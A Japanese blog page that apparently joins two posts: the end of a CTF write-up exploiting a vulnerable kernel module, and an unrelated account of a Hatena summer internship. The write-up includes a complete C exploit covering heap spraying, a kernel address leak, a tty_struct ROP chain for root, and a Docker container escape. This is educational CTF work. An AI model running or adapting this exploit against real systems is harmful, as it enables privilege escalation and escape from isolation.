RBX, RCX, RSIは第2引数で4byte、RDX, R8, R12は第3引数で8byteだけ任意に指定できます。RDIRBPR14tty_struct自身を指します。stack pivotをするために、push RXX, JMP RYY, POP RSPのようなことをしたいのですが、RSI達は4byteしか指定できないため使うことはできません。 さて、みなさんも覚えておきましょう、tty_structはまじでROPしやすいです:

payload.c
    char *key_payload = malloc(0x1000);
    ulong *buf = (ulong*)key_payload;
    buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
    buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
    buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
    buf[3] = km1024_leaked + 0x50; // ops

    ulong *ops = (ulong*)(key_payload + 0x50);
    for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
      ops[ix] = KADDR(0xffffffff81577609); // pop rsp
    }

    ulong *rop = (ulong*)((char*)ops + 0x120);
    *rop++ = ...

    assert((ulong)rop - (ulong)key_payload < 516);

まず、opsを書き換えてtty_struct + 0x50を指すようにします。この領域に偽のvtableとしてleaveするガジェットのアドレスを入れておきます。すると、上で書いたようにRBPにはtty_struct自身のアドレスが入っているため、leaveするとtty_structのアドレスがRSPに入ります。この状態でRETすると、tty_struct + 8に入っているアドレスに戻ることになります。ここはtty_struct.devポインタであり、壊れてても良い値なので、ここにtty_struct + 0x50 + 0x120のアドレスを入れておきます。あとは、+0x50 + 0x120の領域に好きなROPを組んでおくだけです。本当に、ROPのためにある構造体と言っても過言ではありません。偶然magic numberもvalidでなくてはいけないポインタ(+0x10: driver)を壊すことなくいけます。奇跡の構造体です。 ROP自体はこんな感じ:

rop.c
  *rop++ = KADDR(0xffffffff81906510); // pop rdi
  *rop++ = 0;
  *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred

  *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
  *rop ++ = 0;
  *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
  *rop++ = KADDR(0xffffffff810eba40); // commit_creds

  *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
                                             // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)NIRUGIRI;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
  *rop++ = user_ss;

ルート!

10. container escape

しかし、この問題はこれで終わりではありません。コンテナの中なので、コンテナエスケープする必要があります。個々から先の知識は全くありません、またもやカンニングしましょう。こっから先は写経です。意味のある写経です。カス写経です。 といっても、RIPとれてればそんなに難しいことではないみたい。docker内ではsetns() syscallは禁止されてるから、今回はfilesystem namespaceだけ移動させます。以下の感じ:

abst.c
// ROOTをとるには...?
commit_cred(prepare_kernel_cred(0));

// docker escape(fs)するには...?
switch_task_namespaces(find_task_vpid(1), init_nsproxy);
current->fs = copy_fs_struct(init_fs);

これだけ!やった〜〜〜〜。

rop.c
  *rop++ = KADDR(0xffffffff81906510); // pop rdi
  *rop++ = 1; // init process in docker container
  *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
  *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
  *rop ++ = 0;
  *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
  *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
  *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
  *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces

  *rop++ = KADDR(0xffffffff81906510); // pop rdi
  *rop++ = KADDR(0xffffffff82589740); // &init_fs
  *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
  *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx

  *rop++ = KADDR(0xffffffff81906510); // pop rdi
  *rop++ = getpid();
  *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid

  *rop++ = KADDR(0xffffffff8117668f); // pop rdx
  *rop++ = 0x6E0;
  *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
  *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
  *rop++ = 0; // trash

11. アウトロ

うおうおふぃっしゅらいふ。

12. Full Exploit

exploit.c
#include "./exploit.h"
#include <bits/pthreadtypes.h>
#include <keyutils.h>
#include <pthread.h>
#include <sys/mman.h>
#include <unistd.h>

/*********** commands ******************/
#define DEV_PATH "/proc_rw/cormon"   // the path the device is placed

/*********** constants ******************/
#define DESC_KEY_TOBE_OVERWRITTEN_SEQOPS "exploit0"
#define SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS 0x8
#define NUM_KEY_SPRAY (0x60)
#define NUM_2ND_KEY_SPRAY (NUM_KEY_SPRAY * 2)
#define NUM_3RD_KEY_SPRAY (0x10 + 0x8)
#define NUM_3RD_KEY_SIZE (0x290)

#define NUM_PREPARE_KM32_SPRAY 2000

#define NUM_POLLFD (30 + 510 + 1) // stack, kmalloc-4k, kmalloc-32
#define NUM_1ST_POLLLIST_ALLOC (0x10 - 0x1 + 0x1)
#define NUM_2ND_POLLLIST_ALLOC (0x120 + 0x20 + 0x40 + 0x40 + 0x40 + 0x200)
#define TIMEOUT_POLLFD 2000 // 2s

#define NUM_TTY_SPRAY (0x100)

#define NUM_SEQOPERATIONS (NUM_1ST_POLLLIST_ALLOC + 0x100)
#define NUM_FREE_SEQOPERATIONS (0x160)

#define KADDR(addr) ((ulong)addr - 0xffffffff81000000 + kbase)

/*********** globals ******************/

int cormon_fd;
int just_fd;
key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
int seqops_fd[0x500];
int tty_fd[NUM_TTY_SPRAY * 2];
char *cormon_buf[0x1000 + 0x20] = {0};
pthread_t threads[0x1000];
int num_threads = 0;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

ulong kbase = 0;
int neverend = 0;

char *krop_stack = NULL;
#define KROP_USTACK_SIZE 0x10000

/*********** utils ******************/

int num_keys = 0;
ulong _alloc_key_prefill_ulong_val = 0;
void _alloc_key_prefill_ulong() {
  static char *data = NULL;
  if (data == NULL) data = calloc(0x1000, 1);
  //for (int ix = 0; ix != 32 / 8; ++ix) ((ulong*)data)[ix] = _alloc_key_prefill_ulong_val;
  ((ulong*)data)[0] = _alloc_key_prefill_ulong_val;
  setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
}
void _alloc_key_prefill_null(void) {
  _alloc_key_prefill_ulong_val = 0;
  _alloc_key_prefill_ulong();
}
void alloc_key(char *payload, int size, void (*prefill)(void)) {
  static char *desc = NULL;
  if (desc == NULL) desc = calloc(1, 0x1000);

  sprintf(desc, "key_%d", num_keys);
  if (prefill != NULL) prefill();
  keys[num_keys] = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
  if (keys[num_keys] < 0) errExit("alloc_key");
  num_keys++;
}
void spray_keys(int num, char c) {
  static char *payload = NULL;
  if (payload == NULL) payload = calloc(1, 0x1000);
  char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
  memset(key_payload, c, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);

  for (int ix = 0; ix != num; ++ix) alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_null);
}
void free_key(key_serial_t key) {
  if (keyctl_revoke(key) != 0) errExit("keyctl_revoke");
  if (keyctl_unlink(key, KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
  --num_keys;
}

struct alloc_poll_list_t {
  int fd;
  int id;
  int num_size;
  int timeout_ms;
};
void* alloc_poll_list(void *_arg) {
  struct pollfd fds[NUM_POLLFD];
  struct alloc_poll_list_t *arg = (struct alloc_poll_list_t *)_arg;
  assert(arg->fd >= 2);

  for (int ix = 0; ix != arg->num_size; ++ix) {
    fds[ix].fd = arg->fd;
    fds[ix].events = POLLERR;
  }
  pthread_mutex_lock(&mutex);
    ++num_threads;
  pthread_mutex_unlock(&mutex);

  thread_assign_to_core(0);
  if (poll(fds, arg->num_size, arg->timeout_ms) != 0) errExit("poll");

  pthread_mutex_lock(&mutex);
    --num_threads;
  pthread_mutex_unlock(&mutex);

  if (neverend) {
    thread_assign_to_core(2);
    while(neverend);
  }

  return NULL;
}

void nullbyte_overflow(void) {
  assert(cormon_fd >= 2);
  memset(cormon_buf, 'B', 0x1000 + 0x20);
  strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
  *cormon_buf = 0x00;

  if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
  errno = 0; // `write()` above must fail, so clear errno here
}

/*********** main ******************/

int main(int argc, char *argv[]) {
  char *keybuf = malloc(0x5000); // must be >= 0x4330 (low 2byte of single_next())
  puts("[.] Starting exploit.");

  puts("[+] preparing stack for later kROP...");
  save_state();
  krop_stack = mmap((void*)0x10000000, KROP_USTACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  if (krop_stack == MAP_FAILED) errExit("mmap");

  assign_to_core(0);
  if ((cormon_fd = open(DEV_PATH, O_RDWR)) <= 2) errExit("open cormon");

  // Pre-spray kmalloc-32
  puts("[+] pre-spraying kmalloc-32...");
  for (int ix = 0; ix != NUM_PREPARE_KM32_SPRAY; ++ix) {
    if (open("/proc/self/stat", O_RDONLY) <= 2) errExit("prespray");
  }

  // Spray victim `user_key_payload` in kmalloc-32
  puts("[+] Spraying keys...");
  spray_keys(NUM_KEY_SPRAY, 'A');

  // Spray poll_list in kmalloc-32 and kmalloc-4k
  just_fd = open("/etc/hosts", O_RDONLY);
  printf("[+] Spraying poll_list (fd=%d)...\n", just_fd);
  if (just_fd <= 2) errExit("just_fd");

  assign_to_core(1);
  num_threads = 0;
  for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
    arg->fd = just_fd; arg->id = ix;
    arg->timeout_ms = ix < NUM_1ST_POLLLIST_ALLOC ? TIMEOUT_POLLFD : 1;;
    arg->num_size = NUM_POLLFD;
    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
  }

  // Wait some of `poll_list` in kmalloc-4k is freed (these are expected to be reused by cormon_proc_write())
  assign_to_core(0);
  usleep(500 * 1000); // wait threads are initialized
  for(int ix = NUM_1ST_POLLLIST_ALLOC; ix < NUM_1ST_POLLLIST_ALLOC + 3; ++ix) {
    pthread_join(threads[ix], NULL);
  }

  // Spray again victim `user_key_payload` in kmalloc-32
  spray_keys(NUM_KEY_SPRAY, 'A');

  // NULL-byte overflow (hopelly) on `poll_list`, whose `next` pointer get pointing to `user_key_payload` in kmalloc-32.
  puts("[+] NULL-byte overflow ing...");
  nullbyte_overflow();

  // Wait all `poll_list` are freed
  for (int ix = 0; ix != NUM_1ST_POLLLIST_ALLOC; ++ix) {
    open("/proc/self/stat", O_RDONLY);
    pthread_join(threads[ix], NULL);
  }
  puts("[+] Freed all 'poll_list'");

  // Place `seq_operations` on UAFed `user_key_payload` in kmalloc-32
  for(int ix = 0; ix != NUM_SEQOPERATIONS; ++ix) {
    if ((seqops_fd[ix] = open("/proc/self/stat", O_RDONLY)) <= 2) errExit("open seqops");
  }

  // Check all keys to leak kbase via `seq_operations`
  ulong single_show = 0;
  key_serial_t uafed_key = 0;
  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
    int num_read;
    memset(keybuf, 0, 0x5000);
    if((num_read = keyctl_read(keys[ix], keybuf, 0x5000)) <= 0) errExit("keyctl_read");
    if (strncmp(keybuf, "AAAA", 4) != 0) {
      single_show = *(ulong*)keybuf;
      uafed_key = keys[ix];
      if (single_show == 0) {
        puts("[-] somehow, empty key found");
      } else break;
    }
  }
  if (single_show == 0) {
    puts("[-] Failed to leak kbase");
    exit(1);
  }
  printf("[!] leaked single_show: 0x%lx\n", single_show);
  kbase = single_show - (0xffffffff813275c0 - 0xffffffff81000000);
  printf("[!] leaked kbase: 0x%lx\n", kbase);

  // Free all keys except UAFed key
  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
    if (keys[ix] != uafed_key) free_key(keys[ix]);
  }
  sleep(1); // wait GC(security/keys/gc.c) actually frees keys

  // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
    if ((tty_fd[ix] = open("/dev/ptmx", O_RDWR | O_NOCTTY)) <= 2) errExit("open tty");
  }

  // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
  memset(keybuf, 0, 0x5000);
  int num_read = 0;
  if((num_read = keyctl_read(uafed_key, keybuf, 0x5000)) <= 0) errExit("keyctl_read");
  printf("[+] read 0x%x bytes from UAFed key\n", num_read);
  ulong km1024_leaked = 0;
  ulong *tmp = (ulong*)keybuf + 1;
  for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
    if (
      (tmp[ix] >> (64-4*4)) == 0xFFFF && // tty must be in kheap
      (tmp[ix + 1] >> (64-4*4)) == 0xFFFF && // file must be in kheap
      tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && // list_head's next and prev are same
      (tmp[ix] & 0xFF) == 0x00 && // tty must be 0x100 aligned
      (tmp[ix + 1] & 0xFF) == 0x00 && // file must be 0x100 aligned
      (tmp[ix + 2] & 0xF) == 0x08
    ) {
      if (km1024_leaked == 0) {
        km1024_leaked = tmp[ix];
        printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
        printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
        printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
        printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
        break;
      }
    }
  }
  if (km1024_leaked == 0) {
    print_curious(keybuf, 0x4300, 0);
    errExit("Failed to leak kmalloc-1024");
  }
  printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);

  /********************************************************/

  // Free `seq_operations`, one of which is `user_key_payload`
  for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
    close(seqops_fd[ix]);
  }
  puts("[+] Freeed seq_operations");

  sleep(5); // TODO
  // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
  assign_to_core(2);
  neverend = 1;
  puts("[+] spraying `poll_list` in kmalloc-32...");
  num_threads = 0;
  for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
    arg->fd = just_fd; arg->id = ix;
    arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
    arg->num_size = 30 + 2;
    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
  }
  // wait threads are initialized (to prevent double free)
  assign_to_core(0);
  while(num_threads != NUM_2ND_POLLLIST_ALLOC);
  usleep(300 * 1000);

  // Revoke UAFed key, which is on `poll_list` in kmalloc-32
  puts("[+] Freeing UAFed key...");
  free_key(uafed_key);
  sleep(1);

  // Spray keys on UAFed `poll_list`
  puts("[+] spraying keys in kmalloc-32");
  assert(num_keys == 0);
  {
    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
    memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
    ((ulong*)key_payload)[0] = 0x9999999999999999; // debug
     _alloc_key_prefill_ulong_val = km1024_leaked - 0x18; // 0x18 is offset where `user_key_payload` can modify from

    for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
      alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
    }
  }

  puts("[+] waiting corrupted `poll_list` is freed...");
  neverend = 0;
  for(int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
    pthread_join(threads[ix], NULL);
  }

  // Free all keys
  for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
    free_key(keys[ix]);
  }
  puts("[+] waiting all keys are freed by GC...");
  sleep(1); // wait GC(security/keys/gc.c) actually frees keys

  // Spray keys in `kmalloc-1024`, one of which must be placed on `tty_struct`
  puts("[+] spraying keys in kmalloc-1024");
  assert(num_keys == 0);
  {
    char *key_payload = malloc(0x1000);
    ulong *buf = (ulong*)key_payload;
    buf[0] = 0x5401; // magic, kref (later `leave`ed and become RBP)
    buf[1] = KADDR(0xffffffff8191515a); // dev (later become ret addr of `leave` gadget, which is `pop rsp`)
    buf[2] = km1024_leaked + 0x50 + 0x120; // driver (MUST BE VALID) (later `pop rsp`ed)
    buf[3] = km1024_leaked + 0x50; // ops

    ulong *ops = (ulong*)(key_payload + 0x50);
    for (int ix = 0; ix != 0x120 / 8; ++ix) { // sizeof tty_operations
      ops[ix] = KADDR(0xffffffff81577609); // pop rsp
    }

    ulong *rop = (ulong*)((char*)ops + 0x120);
    *rop++ = KADDR(0xffffffff81906510); // pop rdi
    *rop++ = 0;
    *rop++ = KADDR(0xffffffff810ebc90); // prepare_kernel_cred

    *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
    *rop ++ = 0;
    *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
    *rop++ = KADDR(0xffffffff810eba40); // commit_creds

    *rop++ = KADDR(0xffffffff81906510); // pop rdi
    *rop++ = 1; // init process in docker container
    *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid
    *rop++ = KADDR(0xffffffff812c32a9); // pop rcx (to prevent later `rep`)
    *rop ++ = 0;
    *rop++ = KADDR(0xffffffff81a05e4b); // mov rdi, rax; rep movsq; (simple `mov rdi, rax` not found)
    *rop++ = KADDR(0xffffffff819b21d3); // pop rsi
    *rop++ = KADDR(0xffffffff8245a720); // &init_nsproxy
    *rop++ = KADDR(0xffffffff810ea4e0); // switch_task_namespaces

    *rop++ = KADDR(0xffffffff81906510); // pop rdi
    *rop++ = KADDR(0xffffffff82589740); // &init_fs
    *rop++ = KADDR(0xffffffff812e7350); // copy_fs_struct
    *rop++ = KADDR(0xffffffff8131dab0); // push rax; pop rbx

    *rop++ = KADDR(0xffffffff81906510); // pop rdi
    *rop++ = getpid();
    *rop++ = KADDR(0xffffffff810e4fc0); // find_task_by_vpid

    *rop++ = KADDR(0xffffffff8117668f); // pop rdx
    *rop++ = 0x6E0;
    *rop++ = KADDR(0xffffffff81029e7d); // add rax, rdx
    *rop++ = KADDR(0xffffffff817e1d6d); // mov qword [rax], rbx ; pop rbx ; ret ; (1 found)
    *rop++ = 0; // trash


    *rop++ = KADDR(0xffffffff81c00ef0 + 0x16); // swapgs_restore_regs_and_return_to_usermode + 0x16
                                               // mov rdi,rsp; mov rsp,QWORD PTR gs:0x6004; push QWORD PTR [rdi+0x30]; ...
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = (ulong)NIRUGIRI;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = (ulong)krop_stack + KROP_USTACK_SIZE / 2;
    *rop++ = user_ss;

    printf("[+] size: 0x%lx\n", (ulong)rop - (ulong)key_payload);
    assert((ulong)rop - (ulong)key_payload <= NUM_3RD_KEY_SIZE);
    assert(512 < NUM_3RD_KEY_SIZE + 0x10 && NUM_3RD_KEY_SIZE + 0x10 < 1024);
    for (int ix = 0; ix != NUM_3RD_KEY_SPRAY; ++ix) alloc_key(key_payload, NUM_3RD_KEY_SIZE + 0x10, NULL);
  }

  // Invoke tty_struct.ops.ioctl
  puts("[+] ioctl-ing to /dev/ptmx");
  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
    ioctl(tty_fd[ix], 0x1234567890, 0xABCDE0000);
  }

  // end of life (unreachable)
  puts("[ ] END of life...");
  //sleep(999999);
}

13. 参考

 

はてなサマーインターン2022

Warning

this article is not about pwn.

 

イントロ

ねこもこねこも猫のうち、こんにちは。

さて、突然ですが はてなサマーインターン2022 に参加してきました。本エントリでは、はてなインターンの3週間について書いていこうと思います。真面目な記事を書こうとすると発作が起こるため、今生死の境を彷徨いながらこの記事を書いています。書き終わった時にはもう僕はこの世にいないかもしれません、その時には仏壇にサラダドレッシングをお供えしていただけると幸いです。

hatena.co.jp

 

動機 ~ 0日目

申込みまで

ある6月のこと。電気系の学部を脱出し情報系の院に通院し始めた初夏のことでした。お昼ご飯にベランダで乾パンを食べながら、世の大学生はインターンとやらをやる季節だなぁ考えていました。今自分はM1で、セキュリティよりのハイパーバイザ・OSを触っています。また、大学2年から今日まで2~3年間セキュリティ系のバイトを続けています。しかしながら将来の進路的には何も決めておらず、パソコンカタカタできる系の何かという至極漠然としたイメージしか持っていません。実際、趣味で簡単なWebサービスを作るのも楽しいなぁと思っており(これは学部4年の専攻内容が興味なさすぎて現実逃避で始めたことですが)、フロント周りの開発もやってみたいなぁと思っていました。学部の研究室から開放された今年の3月、TSGの人とインターンの情報共有Slack workspaceをつくり色々と情報を交換していく中で、今年の夏は1,2個他の場所に行ってみようという考えになりました。行きたい職種は決まっておらず、なんとなくフロント周りに触れるところかセキュリティに触れるところがいいなぁと思っていました。

いつだかのSans NetwarsのオンサイトCTFに参加した時のこと。会場をお散歩していて偶然話をした人がはてなインターンに行ったことがあると言っていた事を思い出していました。もう2年ほど前なので記憶が定かではないので、嘘を言っている可能性もあります。あの頃は色々オンサイトのイベントやら合宿やらに行っていて、楽しかったなぁ。偶然今現在やっているバイト先にもはてな出身の方がいました。また、Twitterで一方的に知っている人にもはてなで働いているっぽい人がいました。はてなブログには普段からお世話になっており、いつか何らかの形で関わりたいと思っていました。ここまで考えたあと、もうすぐ夏だなぁと思い、麺つゆを飲み終わった後、夏のインターン先を探し始めることにしました(最近は麺つゆを飲むのは体に悪いと言われまくったので、和風サラダドレッシングを嗜んでいます)。

 

面接

それまでに既に何社かインターンは申し込んでいましたが、大抵のところは複数のコーディング試験と複数回の面接が必要なところばかりでした。はてなは、コーディング試験がなく選考はレジュメと1回の面接のみでした。面接はかなりフランクに進み、最終的に共通の知人の話で盛り上がりつつ終わった気がします。他の会社と同じように自分の専門分野に関して質問をされた気がしますが、その内容についてかなり肯定して頂いたのが印象的でした(普段は発表すると大体鋭いダメ出しが飛んでくるので...)。選考結果は1週間以内に通知されました。かなりスピーディだったと思います。

 

講義パート(1~3日目)

前半3日間は座学の講義パートとなります。

Web/コンテナ/マイクロサービス/DB/デザイン等のサービス開発に必要な一通りを3日間でがっつりやりました。コンテナなんにもわからん人間なので、実際のコードを踏まえてk8sの導入をしてもらえたのは非常に助かりました。個人的にはデザインの講義がとても好きでした。

 

課題パート(3~5日目)

続く3日間で、前半講義の内容を踏まえつつ実際にコード開発をしていきます。内容はgRPCを用いたマイクロサービスに、TSかGolangで指定の機能を追加するというものでした。TSは多少使えるので全然知らないGolangを使いました。コーディング中はインターン生とメンターの方がMeetで画面共有しながらすすめました。リモートで且つ始まったばかりということもあり最初はなかなか気まずい目な雰囲気が流れていたのですが、時間を追うごとに気楽に質問したり会話できるようになっていったので良かったです。

 

実装パート(6~15日目)

さて、ここからが本番。残りの2週間はチームに配属され実際に機能開発をしていきます。ぼくは希望通りブログチームに配属されました。

目標決め

まずはプロデューサさんと話をして、なにを実装してくかを決めていきました。はてなブログには、Web-PC版・Web-スマホ版・アプリ版の3つがあります。そのうち、スマホ版にはPC版に当たり前にあるような機能が存在していません。例えば、スマホ版ではブログのプレビュー機能がないため、書いたブログを確認するには公開するか下書き公開するしかないというような状況でした。また、「見たままモード」という編集モードがあるにも関わらずツールバーが存在していないため、太字や見出し等の文字装飾が全くできないという状況でした。この状況を鑑みて、この2週間はスマホ版ブログ編集画面にプレビューとツールバーを追加するという方針で進めていくことになりまひた。

デザイナーさんと打ち合わせ

方針を決めたので、次は実装かなぁと思っていたら次はデザイナーさんとの打ち合わせがありました。ここらへんが個人開発では経験できないところです。実装方針をもとにして、「具体的にどんな機能を実装していくか」・「それらはどんな配置をさせるか」・「それらはどんな挙動をするか」といった機能面や、どんなUIにするかというデザイン面、それから「どんな順序で実装してリリースしていくか」という実装方針までこの打ち合わせで決めていきました。決して最後にCSSをあてて終わりではなく、開発の最初期の段階からデザイナーさんと最終形を定義して勧めていくものなんだなぁというのが印象的でした。(また、Figmaを使って話し合いを勧めていく中で提案してもらえるUIが、話を追うごとに素敵なものになっていっていたので、すげ〜〜となっていました)

実装

ここからいよいよ実装です。まずは実装に関連するコードリーディングを行ったあと、メンターの方と実装方針をざっくりと決めていき、それから僕ともう一人のインターンの方の2人のペアプロで実装を進めていきました。

さて、この2週間でペアプロというものを初めてしました。VSCodeのLiveShareとGoogleMeetの画面共有を駆使し、基本的には2人とも同時にコードを書くものの、役割としては片方がメイン、片方がナビゲータという形で書き進めていきました。また、GoogleMeetにはメンターの二人が常に入っていて、少しでも詰まるとすぐに解決方法が飛んでくる状態でコーディングしていました。ペアプロが初めてということもあり、思った思考を全て独り言のように垂れ流しながらコーディングしていたのですが、メンターの方はこの独り言を読み取って瞬時に解決方法を提示してくれます。最終的には、エディタ上でカーソルを15秒間止めているだけ何に詰まっているかをパースしアドバイスが飛んでくるようになりました。これは少し怖いですね。世の中ではGithubCopilotというものが流行っていますが、それを圧倒的に凌駕するコーディングアシストに日々喜び震えながらコードを書き進めていました。

機能追加を行うコードベースはJSとTSが混じり合っていたため設計が多少難しかったものの、メンターの方の的確なナビゲートのもと、都度方向を修正しながら動くカタチに持っていくことができました。

 

襲来、大量のレビュー

チーム開発の基本は、細かく切ってPR。という訳で、何か機能を追加するごとにPRを出していました。PRを出すと、即座に大量のレビューが襲来してきます。固有のコーディング規約によるものもあれば、設計上の修正点、可読性の問題点、バグ(この3週間で、僕にはエンバグの才能があることを確信しました)等様々な観点で大量のレビューをもらい続けました。

個人的に、GitHubのレビューというものには思い入れがあります。というのも大学生になり初めてまともにコードを書いたのが大学のサークルのSlack Botだったのですが、作ったBotのPRに来たレビューを見ることでプログラミングというものを勉強していました。最近だと、研究で書くコードや個人開発のコードは誰からのレビューも来ないためPRを出してはセルフマージして...を繰り返していたので、はてなで大量に的確なレビューを貰えたのは嬉しかったし勉強になりました。この2週間での総commit数は181、総PR数は31でした。

チームとしての開発サイクル

普段個人として開発をする時には、設計フェーズもデザインフェーズも実装フェーズも何にもなしに、卍僕の考える最強のコード卍を何も考えず書いてきました。チームでサービスをつくるとなると当然そういうわけにもいかず、様々な人との連携が必要となります。はてなでの2週間は、このチームとしての一連の開発フローを経験できたという点が最も貴重だったと思います。プロデューサさんとの実装機能の策定からはじまり、デザイナさんとの方針決め、エンジニアさんとのコーディング・技術相談、QAチームさんからの詳細なフィードバックをもとにした修正等、多くの人の力を借りた上でやっと一つの機能が完成しました。にも関わらず、リリースサイクルがとても早いというのも印象的でした。これはインターン期間が短いからというのも勿論あると思いますが、開発フローが短期間で回っていくというのはとても好印象でした。

そして、リリースへ

デザインと機能の実装を並行して別々に進めていたため、一時期はこんな感じのこの世の終わりみたいな見た目になっていました:

プレビューの開発段階

ツールバーの開発段階

それが最終的には以下のような状態としてリリースできました:

 

おそらく、そして確実にリリースした機能にはまだまだ改善ポイントやバグがあると思いますし、今後ユーザさんからのフィードバックをもとに直したいポイントも生えてくると思います。3週間というインターンの都合上、自分が書いたコードを最後まで面倒見てやれないというのは少しもどかしいですが、ひとまずは自分のコードが自分が使っているサービスに取り込まれたというのは嬉しいことです。きっと残りははてなの方々がより良いものにしてくれるはずです。

staff.hatenablog.com

staff.hatenablog.com

そのほか

インターン中に感じたことを最後に列挙していきます。

まず、はてなはチャット文化と情報共有の文化が盛んでした。ぼくが会社を選ぶ時に大事にしていることとして社内文化があるので、はてなのチャット文化はとても嬉しかったです。気軽にSlackで発言できるので、短期のインターンでも気楽です。また、ミーティングした内容・個人の知見等は積極的にScrapboxに残していくという文化があるため、何かわからないことがあると大抵はScrapboxを見ると解決します。他の人の趣味や歴史もWikiをみるとわかるというのは、コミュニティの雰囲気を理解する上で重要なことだと思っているのでとても良かったです。

寿司を回せるSlackは、良いSlackであることが知られています

また、内製ツールが非常に多かったです。プロダクトで利用するツールの他、社内の勉強会や功労者を決める会で利用するサービス等も社内の有志の方が作ったシステムを利用していました。はてなが掲げているドッグフーディングという言葉を体現していますね(掲げていると言いましたが、公式に理念として掲げているのかはわかりません。少なくとも社内では共通理念として確かに存在していました)。プロダクトで言うとMackerelやGigaViewer等が代表的で、はてな内の個人・プロダクトを問わず自社製品を積極的に利用しており、それらの機能がアップデートされると社員の方々が真っ先に喜んでいるのが印象的でした。それから、はてなブログのプロデューサさん自身が昔からのはてなブログの大ファンで、好きゆえにはてなに入社して今のポジションまで辿り着いたのいうのもかなり印象的でした。

